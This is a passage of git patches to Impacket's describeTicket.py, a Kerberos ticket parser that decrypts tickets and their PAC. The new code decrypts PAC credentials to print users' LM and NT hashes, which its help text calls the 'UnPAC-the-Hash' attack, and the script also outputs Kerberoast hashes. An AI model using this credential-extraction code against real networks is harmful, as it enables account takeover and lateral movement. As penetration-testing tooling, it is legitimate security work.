'--salt', action="store", metavar="SALT", help='placeholder') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='placeholder') - group.add_argument('-aesKey', action="store", metavar="hex key", help='placeholder') + group = parser.add_argument_group() + group.title = 'Ticket decryption credentials (optional)' + group.description = 'Tickets carry a set of information encrypted by one of the target service account\'s Kerberos keys.' \ + '(example: if the ticket is for user:"john" for service:"cifs/service.domain.local", you need to supply credentials or keys ' \ + 'of the service account who owns SPN "cifs/service.domain.local")' + group.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='Cleartext password of the service account') + group.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="HEX PASSWORD", help='placeholder') + group.add_argument('-u', '--user', action="store", metavar="USER", help='Name of the service account') + group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='FQDN Domain') + group.add_argument('-s', '--salt', action="store", metavar="SALT", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)') + group.add_argument('--rc4', action="store", metavar="RC4", help='RC4 KEY (i.e. NT hash)') + group.add_argument('--aes', action="store", metavar="HEX KEY", help='AES128 or AES256 key') + if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() + + if not args.salt: + if args.user and not args.domain: + parser.error('without -s/--salt, and with -u/--user, argument -d/--domain is required to calculate the salt') + parser.print_help() + elif not args.user and args.domain: + parser.error('without -s/--salt, and with -d/--domain, argument -u/--user is required to calculate the salt') + parser.print_help() + return args From 1c385cccac6da978862b7642e3dd97c91150782c Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 1 Nov 2021 15:09:57 +0100 Subject: [PATCH 014/163] Added PAC Credentials structure, improved code --- examples/describeTicket.py | 318 +++++++++++++++++++++---------------- 1 file changed, 181 insertions(+), 137 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index e6e8071c1..0a2267820 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -8,7 +8,7 @@ # for more information. # # Description: -# Python script that describes the values of the ticket (TGT or Service Ticket). +# Ticket describer. Parses ticket, decrypts the enc-part, and parses the PAC. # # Authors: # Remi Gascou (@podalirius_) @@ -28,15 +28,15 @@ from impacket.krb5.constants import ChecksumTypes from pyasn1.codec.der import decoder -from impacket import LOG, version +from impacket import version from impacket.examples import logger from impacket.dcerpc.v5.rpcrt import TypeSerialization1 -from impacket.krb5 import constants +from impacket.krb5 import constants, pac from impacket.krb5.asn1 import TGS_REP, AS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key -from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ - PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO, PAC_CREDENTIALS_INFO, PAC_DELEGATION_INFO, S4U_DELEGATION_INFO +# from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ +# PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO, PAC_CREDENTIALS_INFO, PAC_DELEGATION_INFO, S4U_DELEGATION_INFO class User_Flags(Enum): LOGON_EXTRA_SIDS = 0x0020 @@ -70,15 +70,17 @@ class UserAccountControl_Flags(Enum): def parse_ccache(args): - # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? ccache = CCache.loadFile(args.ticket) - principal = ccache.credentials[0].header['server'].prettyPrint() - creds = ccache.getCredential(principal.decode()) - TGS = creds.toTGS(principal) - decodedTicket = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + cred_number = 0 + logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) + logging.info('Parsing credential: %d' % cred_number) for creds in ccache.credentials: + TGS = creds.toTGS() + # sessionKey = hexlify(TGS['sessionKey'].contents).decode('utf-8') + decodedTicket = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + logging.info("%-30s: %s" % ("User Name", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) logging.info("%-30s: %s" % ("User Realm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') @@ -118,66 +120,62 @@ def parse_ccache(args): if kerberoast_hash: logging.info("%-30s: %s" % ("Kerberoast hash", kerberoast_hash)) - logging.debug("Handling Kerberos keys") - ekeys = generate_kerberos_keys(args) - - # copypasta from krbrelayx.py - # Select the correct encryption key - etype = decodedTicket['ticket']['enc-part']['etype'] - try: - logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) - key = ekeys[etype] - logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) - # This raises a KeyError (pun intended) if our key is not found - except KeyError: - if len(ekeys) > 0: - LOG.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied', - constants.EncryptionTypes(etype).name, - etype, - ', '.join([str(enctype) for enctype in ekeys.keys()])) - else: - LOG.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', - constants.EncryptionTypes(etype).name, - etype) - return None - - # Recover plaintext info from ticket - try: - cipherText = decodedTicket['ticket']['enc-part']['cipher'] - newCipher = _enctype_table[int(etype)] - plainText = newCipher.decrypt(key, 2, cipherText) - except InvalidChecksum: - logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') - if args.salt: - logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') - logging.debug('Remember: the encrypted-part of the ticket is secured with one of the target service\'s Kerberos keys. The target service is the one who owns the \'Service Name\' SPN printed above') - return - - logging.debug('Ticket successfully decrypted') - encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] - sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) - adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] - # So here we have the PAC - pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) - parsed_pac = parse_pac(pacType) - logging.info("%-30s:" % "Decrypted PAC") - for element_type in parsed_pac: - element_type_name = list(element_type.keys())[0] - logging.info(" %-28s:" % element_type_name) - for attribute in element_type[element_type_name]: - logging.info(" %-26s: %s" % (attribute, element_type[element_type_name][attribute])) - - -def parse_pac(pacType): + logging.debug("Handling Kerberos keys") + ekeys = generate_kerberos_keys(args) + + # copypasta from krbrelayx.py + # Select the correct encryption key + etype = decodedTicket['ticket']['enc-part']['etype'] + try: + logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) + key = ekeys[etype] + logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) + # This raises a KeyError (pun intended) if our key is not found + except KeyError: + if len(ekeys) > 0: + logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied', + constants.EncryptionTypes(etype).name, + etype, + ', '.join([str(enctype) for enctype in ekeys.keys()])) + else: + logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', + constants.EncryptionTypes(etype).name, + etype) + return None + + # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? + # Recover plaintext info from ticket + try: + cipherText = decodedTicket['ticket']['enc-part']['cipher'] + newCipher = _enctype_table[int(etype)] + plainText = newCipher.decrypt(key, 2, cipherText) + except InvalidChecksum: + logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') + if args.salt: + logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') + logging.debug('Remember: the encrypted-part of the ticket is secured with one of the target service\'s Kerberos keys. The target service is the one who owns the \'Service Name\' SPN printed above') + return + + logging.debug('Ticket successfully decrypted') + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) + adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] + # So here we have the PAC + pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + parsed_pac = parse_pac(pacType, args) + logging.info("%-30s:" % "Decrypted PAC") + for element_type in parsed_pac: + element_type_name = list(element_type.keys())[0] + logging.info(" %-28s" % element_type_name) + for attribute in element_type[element_type_name]: + logging.info(" %-26s: %s" % (attribute, element_type[element_type_name][attribute])) + + cred_number += 1 + + +def parse_pac(pacType, args): def format_sid(data): return "S-%d-%d-%d-%s" % (data['Revision'], data['IdentifierAuthority'], data['SubAuthorityCount'], '-'.join([str(e) for e in data['SubAuthority']])) - def PACinfiniteData(obj): - while 'fields' in dir(obj): - if 'Data' in obj.fields.keys(): - obj = obj.fields['Data'] - else: - return obj.fields - return obj def PACparseFILETIME(data): # FILETIME structure (minwinbase.h) # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). @@ -194,91 +192,91 @@ def PACparseFILETIME(data): return v_FILETIME def PACparseGroupIds(data): groups = [] - for group in PACinfiniteData(data): + for group in data: groupMembership = {} - groupMembership['RelativeId'] = PACinfiniteData(group.fields['RelativeId']) - groupMembership['Attributes'] = PACinfiniteData(group.fields['Attributes']) + groupMembership['RelativeId'] = group['RelativeId'] + groupMembership['Attributes'] = group['Attributes'] groups.append(groupMembership) return groups def PACparseSID(sid): if type(sid) == dict: str_sid = format_sid({ - 'Revision': PACinfiniteData(sid['Revision']), - 'SubAuthorityCount': PACinfiniteData(sid['SubAuthorityCount']), - 'IdentifierAuthority': int(binascii.hexlify(PACinfiniteData(sid['IdentifierAuthority'])), 16), - 'SubAuthority': PACinfiniteData(sid['SubAuthority']) + 'Revision': sid['Revision'], + 'SubAuthorityCount': sid['SubAuthorityCount'], + 'IdentifierAuthority': int(binascii.hexlify(sid['IdentifierAuthority']), 16), + 'SubAuthority': sid['SubAuthority'] }) return str_sid else: return '' - def PACparseExtraSids(data): + def PACparseExtraSids(sid_and_attributes_array): _ExtraSids = [] - for sid in PACinfiniteData(PACinfiniteData(data.fields)['Data']): - _d = { 'Attributes': PACinfiniteData(sid.fields['Attributes']), 'Sid': PACparseSID(sid.fields['Sid']) } + for sid in sid_and_attributes_array['Data']: + _d = { 'Attributes': sid['Attributes'], 'Sid': PACparseSID(sid['Sid']) } _ExtraSids.append(_d['Sid']) return _ExtraSids parsed_tuPAC = [] buff = pacType['Buffers'] for bufferN in range(pacType['cBuffers']): - infoBuffer = PAC_INFO_BUFFER(buff) + infoBuffer = pac.PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] - if infoBuffer['ulType'] == PAC_LOGON_INFO: + if infoBuffer['ulType'] == pac.PAC_LOGON_INFO: type1 = TypeSerialization1(data) newdata = data[len(type1)+4:] - kerbdata = KERB_VALIDATION_INFO() + kerbdata = pac.KERB_VALIDATION_INFO() kerbdata.fromString(newdata) kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) parsed_data = {} - parsed_data['Logon Time'] = PACparseFILETIME(kerbdata.fields['LogonTime']) - parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) - parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) - parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) - parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) - parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) + parsed_data['Logon Time'] = PACparseFILETIME(kerbdata['LogonTime']) + parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata['LogoffTime']) + parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata['KickOffTime']) + parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata['PasswordLastSet']) + parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata['PasswordCanChange']) + parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata['PasswordMustChange']) # parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) # parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) - # parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) - parsed_data['Account Name'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') - parsed_data['Full Name'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') - parsed_data['Logon Script'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') - parsed_data['Profile Path'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') - parsed_data['Home Dir'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') - parsed_data['Dir Drive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') - parsed_data['Logon Count'] = PACinfiniteData(kerbdata.fields['LogonCount']) - parsed_data['Bad Password Count'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) - parsed_data['User RID'] = PACinfiniteData(kerbdata.fields['UserId']) - parsed_data['Group RID'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) - parsed_data['Group Count'] = PACinfiniteData(kerbdata.fields['GroupCount']) - parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['GroupIds'])]) - UserFlags = PACinfiniteData(kerbdata.fields['UserFlags']) + # parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount'] + parsed_data['Account Name'] = kerbdata['EffectiveName'] + parsed_data['Full Name'] = kerbdata['FullName'] + parsed_data['Logon Script'] = kerbdata['LogonScript'] + parsed_data['Profile Path'] = kerbdata['ProfilePath'] + parsed_data['Home Dir'] = kerbdata['HomeDirectory'] + parsed_data['Dir Drive'] = kerbdata['HomeDirectoryDrive'] + parsed_data['Logon Count'] = kerbdata['LogonCount'] + parsed_data['Bad Password Count'] = kerbdata['BadPasswordCount'] + parsed_data['User RID'] = kerbdata['UserId'] + parsed_data['Group RID'] = kerbdata['PrimaryGroupId'] + parsed_data['Group Count'] = kerbdata['GroupCount'] + parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])]) + UserFlags = kerbdata['UserFlags'] User_Flags_Flags = [] for flag in User_Flags: if UserFlags & flag.value: User_Flags_Flags.append(flag.name) parsed_data['User Flags'] = "(%s) %s" % (UserFlags, ", ".join(User_Flags_Flags)) - parsed_data['User Session Key'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') - parsed_data['Logon Server'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') - parsed_data['Logon Domain Name'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') - parsed_data['Logon Domain SID'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) - UAC = PACinfiniteData(kerbdata.fields['UserAccountControl']) + parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8') + parsed_data['Logon Server'] = kerbdata['LogonServer'] + parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName'] + parsed_data['Logon Domain SID'] = PACparseSID(kerbdata['LogonDomainId']) + UAC = kerbdata['UserAccountControl'] UAC_Flags = [] for flag in UserAccountControl_Flags: if UAC & flag.value: UAC_Flags.append(flag.name) parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) - parsed_data['Extra SID Count'] = PACinfiniteData(kerbdata.fields['SidCount']) + parsed_data['Extra SID Count'] = kerbdata['SidCount'] parsed_data['Extra SIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) parsed_data['Resource Group Domain SID'] = PACparseSID(kerbdata.fields['ResourceGroupDomainSid']) - parsed_data['Resource Group Count'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) - parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['ResourceGroupIds'])]) - # parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') - # parsed_data['SubAuthStatus'] = PACinfiniteData(kerbdata.fields['SubAuthStatus']) - # parsed_data['Reserved3'] = PACinfiniteData(kerbdata.fields['Reserved3']) + parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount'] + parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])]) + # parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8') + # parsed_data['SubAuthStatus'] = kerbdata['SubAuthStatus'] + # parsed_data['Reserved3'] = kerbdata['Reserved3'] parsed_tuPAC.append({"LoginInfo": parsed_data}) - elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: - clientInfo = PAC_CLIENT_INFO() + elif infoBuffer['ulType'] == pac.PAC_CLIENT_INFO_TYPE: + clientInfo = pac.PAC_CLIENT_INFO() clientInfo.fromString(data) parsed_data = {} parsed_data['Client Id'] = PACparseFILETIME(clientInfo.fields['ClientId']) @@ -287,8 +285,8 @@ def PACparseExtraSids(data): parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') parsed_tuPAC.append({"ClientName": parsed_data}) - elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: - upn = UPN_DNS_INFO(data) + elif infoBuffer['ulType'] == pac.PAC_UPN_DNS_INFO: + upn = pac.UPN_DNS_INFO(data) UpnLength = upn.fields['UpnLength'] UpnOffset = upn.fields['UpnOffset'] UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le') @@ -301,32 +299,70 @@ def PACparseExtraSids(data): parsed_data['DNS Domain Name'] = DnsName parsed_tuPAC.append({"UpnDns": parsed_data}) - elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: - signatureData = PAC_SIGNATURE_DATA(data) + elif infoBuffer['ulType'] == pac.PAC_SERVER_CHECKSUM: + signatureData = pac.PAC_SIGNATURE_DATA(data) parsed_data = {} parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') parsed_tuPAC.append({"ServerChecksum": parsed_data}) - elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: - signatureData = PAC_SIGNATURE_DATA(data) + elif infoBuffer['ulType'] == pac.PAC_PRIVSVR_CHECKSUM: + signatureData = pac.PAC_SIGNATURE_DATA(data) parsed_data = {} parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name # signatureData.dump() parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') parsed_tuPAC.append({"KDCChecksum": parsed_data}) - elif infoBuffer['ulType'] == PAC_CREDENTIALS_INFO: - logging.debug("TODO: implement PAC_CREDENTIALS_INFO parsing") - - elif infoBuffer['ulType'] == PAC_DELEGATION_INFO: - delegationInfo = S4U_DELEGATION_INFO(data) + elif infoBuffer['ulType'] == pac.PAC_CREDENTIALS_INFO: + # Parsing 2.6.1 PAC_CREDENTIAL_INFO + credential_info = pac.PAC_CREDENTIAL_INFO(data) + parsed_credential_info = {} + parsed_credential_info['Version'] = "(0x%x) %d" % (credential_info.fields['Version'], credential_info.fields['Version']) + credinfo_enctype = credential_info.fields['EncryptionType'] + parsed_credential_info['Encryption Type'] = "(0x%x) %s" % (credinfo_enctype, constants.EncryptionTypes(credential_info.fields['EncryptionType']).name) + if not args.asrep_key: + parsed_credential_info['Encryption Type'] = "" + logging.error('No ASREP key supplied, cannot decrypt PAC Credentials') + parsed_tuPAC.append({"Credential Info": parsed_credential_info}) + else: + parsed_tuPAC.append({"Credential Info": parsed_credential_info}) + newCipher = _enctype_table[credinfo_enctype] + key = Key(credinfo_enctype, unhexlify(args.asrep_key)) + plain_credential_data = newCipher.decrypt(key, 16, credential_info.fields['SerializedData']) + type1 = TypeSerialization1(plain_credential_data) + newdata = plain_credential_data[len(type1) + 4:] + # Parsing 2.6.2 PAC_CREDENTIAL_DATA + credential_data = pac.PAC_CREDENTIAL_DATA(newdata) + parsed_credential_data = {} + parsed_credential_data[' Credential Count'] = credential_data['CredentialCount'] + parsed_tuPAC.append({" Credential Data": parsed_credential_data}) + # Parsing (one or many) 2.6.3 SECPKG_SUPPLEMENTAL_CRED + for credential in credential_data['Credentials']: + parsed_secpkg_supplemental_cred = {} + parsed_secpkg_supplemental_cred[' Package Name'] = credential['PackageName'] + parsed_secpkg_supplemental_cred[' Credential Size'] = credential['CredentialSize'] + parsed_tuPAC.append({" SecPkg Credentials": parsed_secpkg_supplemental_cred}) + # Parsing 2.6.4 NTLM_SUPPLEMENTAL_CREDENTIAL + ntlm_supplemental_cred = pac.NTLM_SUPPLEMENTAL_CREDENTIAL(b''.join(credential['Credentials'])) + parsed_ntlm_supplemental_cred = {} + parsed_ntlm_supplemental_cred[' Version'] = ntlm_supplemental_cred['Version'] + parsed_ntlm_supplemental_cred[' Flags'] = ntlm_supplemental_cred['Flags'] + parsed_ntlm_supplemental_cred[' LmPasword'] = hexlify(ntlm_supplemental_cred['LmPassword']).decode('utf-8') + parsed_ntlm_supplemental_cred[' NtPasword'] = hexlify(ntlm_supplemental_cred['NtPassword']).decode('utf-8') + parsed_tuPAC.append({" NTLM Credentials": parsed_ntlm_supplemental_cred}) + + elif infoBuffer['ulType'] == pac.PAC_DELEGATION_INFO: + delegationInfo = pac.S4U_DELEGATION_INFO(data) parsed_data = {} - parsed_data['S4U2proxyTarget'] = PACinfiniteData(delegationInfo.fields['S4U2proxyTarget']).decode('utf-16-le') + parsed_data['S4U2proxyTarget'] = delegationInfo['S4U2proxyTarget'] parsed_data['TransitedListSize'] = delegationInfo.fields['TransitedListSize'].fields['Data'] - parsed_data['S4UTransitedServices'] = PACinfiniteData(delegationInfo.fields['S4UTransitedServices']).decode('utf-16-le') + parsed_data['S4UTransitedServices'] = delegationInfo['S4UTransitedServices'].decode('utf-8') parsed_tuPAC.append({"DelegationInfo": parsed_data}) + else: + logger.debug("Unsupported PAC structure: %s" % infoBuffer['ulType']) + buff = buff[len(infoBuffer):] return parsed_tuPAC @@ -429,18 +465,26 @@ def parse_args(): parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - group = parser.add_argument_group() - group.title = 'Ticket decryption credentials (optional)' - group.description = 'Tickets carry a set of information encrypted by one of the target service account\'s Kerberos keys.' \ + ticket_decryption = parser.add_argument_group() + ticket_decryption.title = 'Ticket decryption credentials (optional)' + ticket_decryption.description = 'Tickets carry a set of information encrypted by one of the target service account\'s Kerberos keys.' \ '(example: if the ticket is for user:"john" for service:"cifs/service.domain.local", you need to supply credentials or keys ' \ 'of the service account who owns SPN "cifs/service.domain.local")' - group.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='Cleartext password of the service account') - group.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="HEX PASSWORD", help='placeholder') - group.add_argument('-u', '--user', action="store", metavar="USER", help='Name of the service account') - group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='FQDN Domain') - group.add_argument('-s', '--salt', action="store", metavar="SALT", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)') - group.add_argument('--rc4', action="store", metavar="RC4", help='RC4 KEY (i.e. NT hash)') - group.add_argument('--aes', action="store", metavar="HEX KEY", help='AES128 or AES256 key') + ticket_decryption.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='Cleartext password of the service account') + ticket_decryption.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="HEX PASSWORD", help='placeholder') + ticket_decryption.add_argument('-u', '--user', action="store", metavar="USER", help='Name of the service account') + ticket_decryption.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='FQDN Domain') + ticket_decryption.add_argument('-s', '--salt', action="store", metavar="SALT", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)') + ticket_decryption.add_argument('--rc4', action="store", metavar="RC4", help='RC4 KEY (i.e. NT hash)') + ticket_decryption.add_argument('--aes', action="store", metavar="HEXKEY", help='AES128 or AES256 key') + + credential_info = parser.add_argument_group() + credential_info.title = 'PAC Credentials decryption material' + credential_info.description = '[MS-PAC] section 2.6 (PAC Credentials) describes an element that is used to send credentials for alternate security protocols to the client during initial logon.' \ + 'This PAC credentials is typically used when PKINIT is conducted for pre-authentication. This structure contains LM and NT hashes.' \ + 'The information is encrypted using the AS reply key. Attack primitive known as UnPAC-the-Hash. (https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)' + credential_info.add_argument('--asrep-key', action="store", metavar="HEXKEY", help='AS reply key for PAC Credentials decryption') + if len(sys.argv) == 1: parser.print_help() From e74f4854144a21cf622635f2ca4fab0c4ec098e6 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 1 Nov 2021 15:21:37 +0100 Subject: [PATCH 015/163] Reverting getST edit --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 6df352271..adb162aae 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python3 +#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. From 31d18cff1b2d3e45594ede3217d913b3c6efdfd6 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 1 Nov 2021 15:21:54 +0100 Subject: [PATCH 016/163] Cleaning imports and overall code --- examples/describeTicket.py | 64 ++++++++++++++++++++++---------------- 1 file changed, 37 insertions(+), 27 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 0a2267820..18e627fdc 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -19,24 +19,23 @@ import traceback import argparse import binascii -from enum import Enum - -from Cryptodome.Hash import MD4 import datetime import base64 -from binascii import unhexlify, hexlify -from impacket.krb5.constants import ChecksumTypes +from Cryptodome.Hash import MD4 +from enum import Enum +from binascii import unhexlify, hexlify from pyasn1.codec.der import decoder + from impacket import version -from impacket.examples import logger from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.examples import logger from impacket.krb5 import constants, pac -from impacket.krb5.asn1 import TGS_REP, AS_REP, EncTicketPart, AD_IF_RELEVANT +from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache +from impacket.krb5.constants import ChecksumTypes from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key -# from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ -# PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO, PAC_CREDENTIALS_INFO, PAC_DELEGATION_INFO, S4U_DELEGATION_INFO + class User_Flags(Enum): LOGON_EXTRA_SIDS = 0x0020 @@ -174,8 +173,11 @@ def parse_ccache(args): def parse_pac(pacType, args): + def format_sid(data): return "S-%d-%d-%d-%s" % (data['Revision'], data['IdentifierAuthority'], data['SubAuthorityCount'], '-'.join([str(e) for e in data['SubAuthority']])) + + def PACparseFILETIME(data): # FILETIME structure (minwinbase.h) # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). @@ -190,6 +192,8 @@ def PACparseFILETIME(data): if datetime.timedelta(microseconds=temp_time / 10).total_seconds() != 0: v_FILETIME = (datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(microseconds=temp_time / 10)).strftime("%d/%m/%Y %H:%M:%S %p") return v_FILETIME + + def PACparseGroupIds(data): groups = [] for group in data: @@ -198,6 +202,8 @@ def PACparseGroupIds(data): groupMembership['Attributes'] = group['Attributes'] groups.append(groupMembership) return groups + + def PACparseSID(sid): if type(sid) == dict: str_sid = format_sid({ @@ -209,14 +215,19 @@ def PACparseSID(sid): return str_sid else: return '' + + def PACparseExtraSids(sid_and_attributes_array): _ExtraSids = [] for sid in sid_and_attributes_array['Data']: _d = { 'Attributes': sid['Attributes'], 'Sid': PACparseSID(sid['Sid']) } _ExtraSids.append(_d['Sid']) return _ExtraSids + + parsed_tuPAC = [] buff = pacType['Buffers'] + for bufferN in range(pacType['cBuffers']): infoBuffer = pac.PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] @@ -227,16 +238,15 @@ def PACparseExtraSids(sid_and_attributes_array): kerbdata.fromString(newdata) kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) parsed_data = {} - parsed_data['Logon Time'] = PACparseFILETIME(kerbdata['LogonTime']) 